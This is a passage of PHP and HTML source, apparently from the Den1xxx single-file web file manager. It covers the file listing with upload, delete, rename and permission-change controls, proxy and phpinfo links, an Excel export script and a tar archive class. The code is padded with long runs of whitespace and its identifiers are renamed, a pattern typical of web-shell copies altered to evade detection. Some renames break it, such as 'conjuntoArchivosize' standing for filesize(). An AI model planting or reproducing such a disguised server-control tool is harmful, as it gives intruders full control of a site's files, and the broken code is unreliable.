	                 	                 <table>

	                 	                 <tr>
                                                                  
	                 	                 <td>
	                 	                 <?php if (!empty($fm_config['upload_file'])) { ?>

	                 	                 	                 <form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">

	                 	                 	                 <input type="hidden" name="path" value="<?=$path?>" />

	                 	                 	                 <input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
                                                                                                  
	                 	                 	                 <input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />

	                 	                 	                 <input type="submit" name="test" value="<?=__('Upload')?>" />

	                 	                 	                 </form>

	                 	                 <?php } ?>
	                 	                 </td>
                        
	                 	                 <td>
                                       
	                 	                 <?php if ($auth['authorize']) { ?>

	                 	                 	                 <form action="" method="post">&nbsp;&nbsp;&nbsp;
	                 	                 	                 <input name="quit" type="hidden" value="1">

	                 	                 	                 <?=__('Hello')?>, <?=$auth['login']?>

	                 	                 	                 <input type="submit" value="<?=__('Quit')?>">

	                 	                 	                 </form>
                                                                 
	                 	                 <?php } ?>

	                 	                 </td>
                                                   
	                 	                 <td>

	                 	                 <?=fm_lang_form($language)?>
                                                                       
	                 	                 </td>

	                 	                 <tr>
                                   
	                 	                 </table>

    </td>
</tr>
                                                      
</table>
                                                                                        
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">

<thead>
                                       
<tr> 

    <th style="white-space:nowrap"> <?=__('Filename')?> </th>

    <th style="white-space:nowrap"> <?=__('Size')?> </th>

    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>

    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>

</tr>

</thead>
                                                                                          
<tbody>

<?php
                                                                                                 
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
                                                                                 
$conjuntoArchivos = array();
foreach ($elements as $file){
                                                                         
    if(@is_dir($path . $file)){
                                                                                                 
        $dirs[] = $file;

    } else {

        $conjuntoArchivos[] = $file;

    }
}
natsort($dirs); natsort($conjuntoArchivos);

$elements = array_merge($dirs, $conjuntoArchivos);


                              
foreach ($elements as $file){
    $filename = $path . $file;

    $filedata = @stat($filename);
    if(@is_dir($filename)){

	                 	                 $filedata[7] = '';

	                 	                 if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
                                           
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
                                                                                            
	                 	                 $arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
                        
        $style = 'row2';

	                 	                  if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
                                                               
    } else {

	                 	                 $link = 

	                 	                 	                 $fm_config['show_img']&&@getimagesize($filename) 

	                 	                 	                 ? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''

	                 	                 	                 . fm_img_link($filename)
	                 	                 	                 .'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'

	                 	                 	                 : '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';

	                 	                 $e_arr = explode(".", $file);
	                 	                 $ext = end($e_arr);

        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);

	                 	                 $arlink = in_array($ext,array('zip','gz','tar')) 
                                  
	                 	                 ? ''
                                 
	                 	                 : ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));

        $style = 'row1';

	                 	                 $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }

    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
                                                                          
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
                                                                         
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>

    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>

    <td><?=$rightstext?></td>
                                                            
    <td><?=$deletelink?></td>

    <td><?=$renamelink?></td>

    <td><?=$loadlink?></td>

    <td><?=$arlink?></td>

</tr>
                               
<?php
    }
}

?>
</tbody>
</table>

<div class="row3"><?php

	                 $mtime = explode(' ', microtime()); 
                                                                             
	                 $totaltime = $mtime[0] + $mtime[1] - $starttime; 

	                 echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	                 if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
                                                                                             
	                 if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();

	                 if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	                 if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';

	                 if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
                                                                                      
	                 if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	                 if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	                 ?>
</div>
                                                                  
<script type="text/javascript">

function download_xls(filename, text) {

	                 var element = document.createElement('a');

	                 element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);

	                 element.setAttribute('download', filename);
	                 element.style.display = 'none';

	                 document.body.appendChild(element);

	                 element.click();
	                 document.body.removeChild(element);

}


function base64_encode(m) {
	                 for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {

	                 	                 c = m.charCodeAt(l);

	                 	                 if (128 > c) d = 1;

	                 	                 else

	                 	                 	                 for (d = 2; c >= 2 << 5 * d;) ++d;

	                 	                 for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
                                                
	                 }

	                 b && (g += k[f << 6 - b]);
                                                                           
	                 return g
                                                    
}




var tableToExcelData = (function() {

    var uri = 'data:application/vnd.ms-excel;base64,',

    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',

    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {

                return c[p];

            })
                                                               
        }

    return function(table, name) {

        if (!table.nodeType) table = document.getElementById(table)

        var ctx = {

            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
                                                             
        }

	                 	                 t = new Date();
                                                                                           
	                 	                 filename = 'fm_' + t.toISOString() + '.xls'
                                 
	                 	                 download_xls(filename, base64_encode(format(template, ctx)))

    }
                                                                                                  
})();

var table2Excel = function () {


                               
    var ua = window.navigator.userAgent;
                                                         
    var msie = ua.indexOf("MSIE ");


                                                                                    
	                 this.CreateExcelSheet = 

	                 	                 function(el, name){
	                 	                 	                 if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer


                                                                         
	                 	                 	                 	                 var x = document.getElementById(el).rows;


	                 	                 	                 	                 var xls = new ActiveXObject("Excel.Application");


                                               
	                 	                 	                 	                 xls.visible = true;

	                 	                 	                 	                 xls.Workbooks.Add
	                 	                 	                 	                 for (i = 0; i < x.length; i++) {
	                 	                 	                 	                 	                 var y = x[i].cells;
                                                            

                                                                    
	                 	                 	                 	                 	                 for (j = 0; j < y.length; j++) {

	                 	                 	                 	                 	                 	                 xls.Cells(i + 1, j + 1).Value = y[j].innerText;

	                 	                 	                 	                 	                 }
                                                                 
	                 	                 	                 	                 }
                                                                            
	                 	                 	                 	                 xls.Visible = true;
                                                                                                 
	                 	                 	                 	                 xls.UserControl = true;

	                 	                 	                 	                 return xls;
	                 	                 	                 } else {
                                                        
	                 	                 	                 	                 tableToExcelData(el, name);
                                                                                              
	                 	                 	                 }

	                 	                 }

}
</script>
                                                                         
</body>

</html>



<?php
//Ported from ReloadCMS project http://reloadcms.com
                      
class archiveTar {

	                 var $nombrePaquete = '';

	                 var $archivoTemporal = 0;

	                 var $posicionArchivo = 0;
                                         
	                 var $estaComprimido = true;
	                 var $registrosErrores = array();

	                 var $conjuntoArchivos = array();
	                 
	                 function __construct(){
                                                            
	                 	                 if (!isset($this->registrosErrores)) $this->registrosErrores = array();

	                 }
                                       
	                 

	                 function crearPaquete($file_list){

	                 	                 $result = false;

	                 	                 if (file_exists($this->nombrePaquete) && is_file($this->nombrePaquete)) 	                 $newArchive = false;

	                 	                 else $newArchive = true;
                     
	                 	                 if ($newArchive){

	                 	                 	                 if (!$this->abrirArchivoParaEscritura()) return false;
                         
	                 	                 } else {
                                                
	                 	                 	                 if (conjuntoArchivosize($this->nombrePaquete) == 0)	                 return $this->abrirArchivoParaEscritura();
                                                    
	                 	                 	                 if ($this->estaComprimido) {
                          
	                 	                 	                 	                 $this->cerrarArchivoTemporal();
	                 	                 	                 	                 if (!rename($this->nombrePaquete, $this->nombrePaquete.'.tmp')){

	                 	                 	                 	                 	                 $this->registrosErrores[] = __('Cannot rename').' '.$this->nombrePaquete.__(' to ').$this->nombrePaquete.'.tmp';
                                                             
	                 	                 	                 	                 	                 return false;
	                 	                 	                 	                 }

	                 	                 	                 	                 $tmpArchive = gzopen($this->nombrePaquete.'.tmp', 'rb');

	                 	                 	                 	                 if (!$tmpArchive){

	                 	                 	                 	                 	                 $this->registrosErrores[] = $this->nombrePaquete.'.tmp '.__('is not readable');

	                 	                 	                 	                 	                 rename($this->nombrePaquete.'.tmp', $this->nombrePaquete);

	                 	                 	                 	                 	                 return false;

	                 	                 	                 	                 }

	                 	                 	                 	                 if (!$this->abrirArchivoParaEscritura()){

	                 	                 	                 	                 	                 rename($this->nombrePaquete.'.tmp', $this->nombrePaquete);
                                                                      
	                 	                 	                 	                 	                 return false;
                                              
	                 	                 	                 	                 }

	                 	                 	                 	                 $buffer = gzread($tmpArchive, 512);

	                 	                 	                 	                 if (!gzeof($tmpArchive)){
	                 	                 	                 	                 	                 do {

	                 	                 	                 	                 	                 	                 $binaryData = pack('a512', $buffer);

	                 	                 	                 	                 	                 	                 $this->guardarSegmentoDatos($binaryData);
	                 	                 	                 	                 	                 	                 $buffer = gzread($tmpArchive, 512);

	                 	                 	                 	                 	                 }

	                 	                 	                 	                 	                 while (!gzeof($tmpArchive));
                             
	                 	                 	                 	                 }

	                 	                 	                 	                 gzclose($tmpArchive);
	                 	                 	                 	                 unlink($this->nombrePaquete.'.tmp');
                                         
	                 	                 	                 } else {
                                                                                                
	                 	                 	                 	                 $this->archivoTemporal = fopen($this->nombrePaquete, 'r+b');
	                 	                 	                 	                 if (!$this->archivoTemporal)	                 return false;

	                 	                 	                 }

	                 	                 }
                                                                        
	                 	                 if (isset($file_list) && is_array($file_list)) {
	                 	                 if (count($file_list)>0)
	                 	                 	                 $result = $this->empaquetarArchivosEnPaquete($file_list);
                                                                    
	                 	                 } else $this->registrosErrores[] = __('No file').__(' to ').__('Archive');
	                 	                 if (($result)&&(is_resource($this->archivoTemporal))){
	                 	                 	                 $binaryData = pack('a512', '');
	                 	                 	                 $this->guardarSegmentoDatos($binaryData);
	                 	                 }

	                 	                 $this->cerrarArchivoTemporal();
	                 	                 if ($newArchive && !$result){
                                                                                          
	                 	                 $this->cerrarArchivoTemporal();

	                 	                 unlink($this->nombrePaquete);

	                 	                 }

	                 	                 return $result;
	                 }



	                 function desempaquetarArchivos($path){

	                 	                 $fileName = $this->nombrePaquete;
                                                            
	                 	                 if (!$this->estaComprimido){
	                 	                 	                 if (file_exists($fileName)){

	                 	                 	                 	                 if ($fp = fopen($fileName, 'rb')){

	                 	                 	                 	                 	                 $data = fread($fp, 2);

	                 	                 	                 	                 	                 fclose($fp);

	                 	                 	                 	                 	                 if ($data == '\37\213'){
                                                       
	                 	                 	                 	                 	                 	                 $this->estaComprimido = true;
	                 	                 	                 	                 	                 }

	                 	                 	                 	                 }
	                 	                 	                 }

	                 	                 	                 elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->estaComprimido = true;

	                 	                 } 

	                 	                 $result = true;

	                 	                 if ($this->estaComprimido) $this->archivoTemporal = gzopen($fileName, 'rb');

	                 	                 else $this->archivoTemporal = fopen($fileName, 'rb');

	                 	                 if (!$this->archivoTemporal){

	                 	                 	                 $this->registrosErrores[] = $fileName.' '.__('is not readable');
                                                        
	                 	                 	                 return false;

	                 	                 }

	                 	                 $result = $this->unempaquetarArchivosEnPaquete($path);

	                 	                 	                 $this->cerrarArchivoTemporal();
                                                     
	                 	                 return $result;
	                 }


                                      
	                 function mostrarListaErrores	                 ($message = '') {

	                 	                 $Errors = $this->registrosErrores;
                                                                  
	                 	                 if(count($Errors)>0) {
                                                                         
	                 	                 if (!empty($message)) $message = ' ('.$message.')';

	                 	                 	                 $message = __('Error occurred').$message.': <br/>';

	                 	                 	                 foreach ($Errors as $value)

	                 	                 	                 	                 $message .= $value.'<br/>';

	                 	                 	                 return $message;	                 
                                                                        
	                 	                 } else return '';

	                 	                 
                                                     
	                 }

	                 

	                 function empaquetarArchivosEnPaquete($file_array){
                                                        
	                 	                 $result = true;
	                 	                 if (!$this->archivoTemporal){

	                 	                 	                 $this->registrosErrores[] = __('Invalid file descriptor');

	                 	                 	                 return false;
	                 	                 }
                                                                                  
	                 	                 if (!is_array($file_array) || count($file_array)<=0)
                                                   
          return true;
	                 	                 for ($i = 0; $i<count($file_array); $i++){

	                 	                 	                 $filename = $file_array[$i];
                                                                   
	                 	                 	                 if ($filename == $this->nombrePaquete)
	                 	                 	                 	                 continue;
	                 	                 	                 if (strlen($filename)<=0)

	                 	                 	                 	                 continue;

	                 	                 	                 if (!file_exists($filename)){
	                 	                 	                 	                 $this->registrosErrores[] = __('No file').' '.$filename;
                                                                    
	                 	                 	                 	                 continue;
                        
	                 	                 	                 }
	                 	                 	                 if (!$this->archivoTemporal){
	                 	                 	                 $this->registrosErrores[] = __('Invalid file descriptor');
	                 	                 	                 return false;
	                 	                 	                 }

	                 	                 if (strlen($filename)<=0){
	                 	                 	                 $this->registrosErrores[] = __('Filename').' '.__('is incorrect');;

	                 	                 	                 return false;

	                 	                 }
	                 	                 $filename = str_replace('\\', '/', $filename);

	                 	                 $keep_filename = $this->generarRutaValidaArchivo($filename);

	                 	                 if (is_file($filename)){

	                 	                 	                 if (($file = fopen($filename, 'rb')) == 0){
                                                                                               
	                 	                 	                 	                 $this->registrosErrores[] = __('Mode ').__('is incorrect');
	                 	                 	                 }

	                 	                 	                 	                 if(($this->posicionArchivo == 0)){

	                 	                 	                 	                 	                 if(!$this->insertarCabeceraArchivo($filename, $keep_filename))
	                 	                 	                 	                 	                 	                 return false;
                                                                                       
	                 	                 	                 	                 }
	                 	                 	                 	                 while (($buffer = fread($file, 512)) != ''){
	                 	                 	                 	                 	                 $binaryData = pack('a512', $buffer);
	                 	                 	                 	                 	                 $this->guardarSegmentoDatos($binaryData);

	                 	                 	                 	                 }

	                 	                 	                 fclose($file);
	                 	                 }	                 else $this->insertarCabeceraArchivo($filename, $keep_filename);

	                 	                 	                 if (@is_dir($filename)){

	                 	                 	                 	                 if (!($handle = opendir($filename))){
	                 	                 	                 	                 	                 $this->registrosErrores[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
                                                                            
	                 	                 	                 	                 	                 continue;

	                 	                 	                 	                 }
                                     
	                 	                 	                 	                 while (false !== ($dir = readdir($handle))){
                                                                              
	                 	                 	                 	                 	                 if ($dir!='.' && $dir!='..'){

	                 	                 	                 	                 	                 	                 $file_array_tmp = array();
                           
	                 	                 	                 	                 	                 	                 if ($filename != '.')
	                 	                 	                 	                 	                 	                 	                 $file_array_tmp[] = $filename.'/'.$dir;

	                 	                 	                 	                 	                 	                 else
	                 	                 	                 	                 	                 	                 	                 $file_array_tmp[] = $dir;



	                 	                 	                 	                 	                 	                 $result = $this->empaquetarArchivosEnPaquete($file_array_tmp);
	                 	                 	                 	                 	                 }
                             
	                 	                 	                 	                 }
	                 	                 	                 	                 unset($file_array_tmp);
	                 	                 	                 	                 unset($dir);
	                 	                 	                 	                 unset($handle);

	                 	                 	                 }

	                 	                 }

	                 	                 return $result;

	                 }



	                 function unempaquetarArchivosEnPaquete($path){ 
	                 	                 $path = str_replace('\\', '/', $path);

	                 	                 if ($path == ''	                 || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	                 $path = './'.$path;
                                                                                          
	                 	                 clearstatcache();

	                 	                 while (strlen($binaryData = $this->obtenerBloqueDatos()) != 0){

	                 	                 	                 if (!$this->recuperarCabeceraArchivo($binaryData, $header)) return false;
                                                                                                
	                 	                 	                 if ($header['filename'] == '') continue;
	                 	                 	                 if ($header['typeflag'] == 'L'){	                 	                 	                 //reading long header

	                 	                 	                 	                 $filename = '';

	                 	                 	                 	                 $decr = floor($header['size']/512);
	                 	                 	                 	                 for ($i = 0; $i < $decr; $i++){

	                 	                 	                 	                 	                 $content = $this->obtenerBloqueDatos();
	                 	                 	                 	                 	                 $filename .= $content;

	                 	                 	                 	                 }
	                 	                 	                 	                 if (($laspiece = $header['size'] % 512) != 0){

	                 	                 	                 	                 	                 $content = $this->obtenerBloqueDatos();

	                 	                 	                 	                 	                 $filename .= substr($content, 0, $laspiece);
	                 	                 	                 	                 }
                                                                           
	                 	                 	                 	                 $binaryData = $this->obtenerBloqueDatos();
	                 	                 	                 	                 if (!$this->recuperarCabeceraArchivo($binaryData, $header)) return false;
	                 	                 	                 	                 else $header['filename'] = $filename;

	                 	                 	                 	                 return true;

	                 	                 	                 }
	                 	                 	                 if (($path != './') && ($path != '/')){

	                 	                 	                 	                 while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
                                                                                        
	                 	                 	                 	                 if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
                                            
	                 	                 	                 	                 else $header['filename'] = $path.'/'.$header['filename'];
                                                                          
	                 	                 	                 }
                                            
	                 	                 	                 
	                 	                 	                 if (file_exists($header['filename'])){
                           
	                 	                 	                 	                 if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){

	                 	                 	                 	                 	                 $this->registrosErrores[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
                                                                
	                 	                 	                 	                 	                 return false;
	                 	                 	                 	                 }
	                 	                 	                 	                 if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
	                 	                 	                 	                 	                 $this->registrosErrores[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
                                                                            
	                 	                 	                 	                 	                 return false;
                          
	                 	                 	                 	                 }

	                 	                 	                 	                 if (!is_writeable($header['filename'])){
                                                     
	                 	                 	                 	                 	                 $this->registrosErrores[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
	                 	                 	                 	                 	                 return false;

	                 	                 	                 	                 }
	                 	                 	                 } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){

	                 	                 	                 	                 $this->registrosErrores[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
                                                                     
	                 	                 	                 	                 return false;
	                 	                 	                 }
                                                                                         


	                 	                 	                 if ($header['typeflag'] == '5'){

	                 	                 	                 	                 if (!file_exists($header['filename']))	                 	                 {
	                 	                 	                 	                 	                 if (!mkdir($header['filename'], 0777))	                 {
                                   
	                 	                 	                 	                 	                 	                 
	                 	                 	                 	                 	                 	                 $this->registrosErrores[] = __('Cannot create directory').' '.$header['filename'];
                                                                                  
	                 	                 	                 	                 	                 	                 return false;

	                 	                 	                 	                 	                 } 

	                 	                 	                 	                 }
	                 	                 	                 } else {

	                 	                 	                 	                 if (($destination = fopen($header['filename'], 'wb')) == 0) {
                               
	                 	                 	                 	                 	                 $this->registrosErrores[] = __('Cannot write to file').' '.$header['filename'];

	                 	                 	                 	                 	                 return false;

	                 	                 	                 	                 } else {
                                                                             
	                 	                 	                 	                 	                 $decr = floor($header['size']/512);
	                 	                 	                 	                 	                 for ($i = 0; $i < $decr; $i++) {

	                 	                 	                 	                 	                 	                 $content = $this->obtenerBloqueDatos();

	                 	                 	                 	                 	                 	                 fwrite($destination, $content, 512);

	                 	                 	                 	                 	                 }
                                                                                   
	                 	                 	                 	                 	                 if (($header['size'] % 512) != 0) {

	                 	                 	                 	                 	                 	                 $content = $this->obtenerBloqueDatos();
                                                                          
	                 	                 	                 	                 	                 	                 fwrite($destination, $content, ($header['size'] % 512));

	                 	                 	                 	                 	                 }

	                 	                 	                 	                 	                 fclose($destination);
                                                                                                  
	                 	                 	                 	                 	                 touch($header['filename'], $header['time']);

	                 	                 	                 	                 }

	                 	                 	                 	                 clearstatcache();

	                 	                 	                 	                 if (conjuntoArchivosize($header['filename']) != $header['size']) {

	                 	                 	                 	                 	                 $this->registrosErrores[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
	                 	                 	                 	                 	                 return false;

	                 	                 	                 	                 }
                               
	                 	                 	                 }

	                 	                 	                 if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
	                 	                 	                 if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
                                                                                     
	                 	                 	                 $this->dirs[] = $file_dir;

	                 	                 	                 $this->conjuntoArchivos[] = $header['filename'];
                                                          
	                 

	                 	                 }
	                 	                 return true;
	                 }
                                 

	                 function dirCheck($dir){

	                 	                 $parent_dir = dirname($dir);


                            
	                 	                 if ((@is_dir($dir)) or ($dir == ''))
	                 	                 	                 return true;


                                                      
	                 	                 if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
                                                
	                 	                 	                 return false;
                               

                                                 
	                 	                 if (!mkdir($dir, 0777)){

	                 	                 	                 $this->registrosErrores[] = __('Cannot create directory').' '.$dir;

	                 	                 	                 return false;

	                 	                 }

	                 	                 return true;

	                 }



	                 function recuperarCabeceraArchivo($binaryData, &$header){
	                 	                 if (strlen($binaryData)==0){
	                 	                 	                 $header['filename'] = '';
                                      
	                 	                 	                 return true;

	                 	                 }
                                                                 

	                 	                 if (strlen($binaryData) != 512){

	                 	                 	                 $header['filename'] = '';

	                 	                 	                 $this->__('Invalid block size').': '.strlen($binaryData);
	                 	                 	                 return false;

	                 	                 }


                                                             
	                 	                 $hashIntegridad = 0;
                                                                          
	                 	                 for ($i = 0; $i < 148; $i++) $hashIntegridad+=ord(substr($binaryData, $i, 1));

	                 	                 for ($i = 148; $i < 156; $i++) $hashIntegridad += ord(' ');

	                 	                 for ($i = 156; $i < 512; $i++) $hashIntegridad+=ord(substr($binaryData, $i, 1));


	                 	                 $unpack_data = unpack('a100filename/a8mode/a8identificadorUsuario/a8group_id/a12size/a12time/a8hashIntegridad/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

	                 	                 $header['hashIntegridad'] = OctDec(trim($unpack_data['hashIntegridad']));

	                 	                 if ($header['hashIntegridad'] != $hashIntegridad){

	                 	                 	                 $header['filename'] = '';

	                 	                 	                 if (($hashIntegridad == 256) && ($header['hashIntegridad'] == 0)) 	                 return true;
                             
	                 	                 	                 $this->registrosErrores[] = __('Error hashIntegridad for file ').$unpack_data['filename'];
                          
	                 	                 	                 return false;
	                 	                 }


	                 	                 if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	                 $header['size'] = 0;

	                 	                 $header['filename'] = trim($unpack_data['filename']);
                                                       
	                 	                 $header['mode'] = OctDec(trim($unpack_data['mode']));

	                 	                 $header['identificadorUsuario'] = OctDec(trim($unpack_data['identificadorUsuario']));

	                 	                 $header['group_id'] = OctDec(trim($unpack_data['group_id']));

	                 	                 $header['size'] = OctDec(trim($unpack_data['size']));

	                 	                 $header['time'] = OctDec(trim($unpack_data['time']));
	                 	                 return true;
	                 }
                                                                         


	                 function insertarCabeceraArchivo($filename, $keep_filename){

	                 	                 $packF = 'a100a8a8a8a12A12';
	                 	                 $packL = 'a1a100a6a2a32a32a8a8a155a12';

	                 	                 if (strlen($keep_filename)<=0) $keep_filename = $filename;

	                 	                 $filename_ready = $this->generarRutaValidaArchivo($keep_filename);


	                 	                 if (strlen($filename_ready) > 99){	                 	                 	                 	                 	                 	                 	                 //write long header
	                 	                 $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);

	                 	                 $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');
                                                                                               


        //  Calculate the hashIntegridad

	                 	                 $hashIntegridad = 0;
        //  First part of the header

	                 	                 for ($i = 0; $i < 148; $i++)
                                              
	                 	                 	                 $hashIntegridad += ord(substr($dataFirst, $i, 1));

        //  Ignore the hashIntegridad value and replace it by ' ' (space)
	                 	                 for ($i = 148; $i < 156; $i++)

	                 	                 	                 $hashIntegridad += ord(' ');
        //  Last part of the header

	                 	                 for ($i = 156, $j=0; $i < 512; $i++, $j++)
                                       
	                 	                 	                 $hashIntegridad += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
                               
	                 	                 $this->guardarSegmentoDatos($dataFirst, 148);

        //  Write the calculated hashIntegridad
	                 	                 $hashIntegridad = sprintf('%6s ', DecOct($hashIntegridad));
	                 	                 $binaryData = pack('a8', $hashIntegridad);
                                                                          
	                 	                 $this->guardarSegmentoDatos($binaryData, 8);
                                         
        //  Write the last 356 bytes of the header in the archive
	                 	                 $this->guardarSegmentoDatos($dataLast, 356);



	                 	                 $archivoTemporalname = $this->generarRutaValidaArchivo($filename_ready);


                                                          
	                 	                 $i = 0;

	                 	                 	                 while (($buffer = substr($archivoTemporalname, (($i++)*512), 512)) != ''){

	                 	                 	                 	                 $binaryData = pack('a512', $buffer);

	                 	                 	                 	                 $this->guardarSegmentoDatos($binaryData);

	                 	                 	                 }

	                 	                 return true;
                                                                                  
	                 	                 }

	                 	                 $file_info = stat($filename);

	                 	                 if (@is_dir($filename)){
                            
	                 	                 	                 $typeflag = '5';

	                 	                 	                 $size = sprintf('%11s ', DecOct(0));
                                                                                   
	                 	                 } else {

	                 	                 	                 $typeflag = '';

	                 	                 	                 clearstatcache();
                                                                                 
	                 	                 	                 $size = sprintf('%11s ', DecOct(conjuntoArchivosize($filename)));
	                 	                 }
                        
	                 	                 $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));

	                 	                 $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
	                 	                 $hashIntegridad = 0;
	                 	                 for ($i = 0; $i < 148; $i++) $hashIntegridad += ord(substr($dataFirst, $i, 1));

	                 	                 for ($i = 148; $i < 156; $i++) $hashIntegridad += ord(' ');

	                 	                 for ($i = 156, $j = 0; $i < 512; $i++, $j++) $hashIntegridad += ord(substr($dataLast, $j, 1));

	                 	                 $this->guardarSegmentoDatos($dataFirst, 148);
                               
	                 	                 $hashIntegridad = sprintf('%6s ', DecOct($hashIntegridad));
	                 	                 $binaryData = pack('a8', $hashIntegridad);

	                 	                 $this->guardarSegmentoDatos($binaryData, 8);

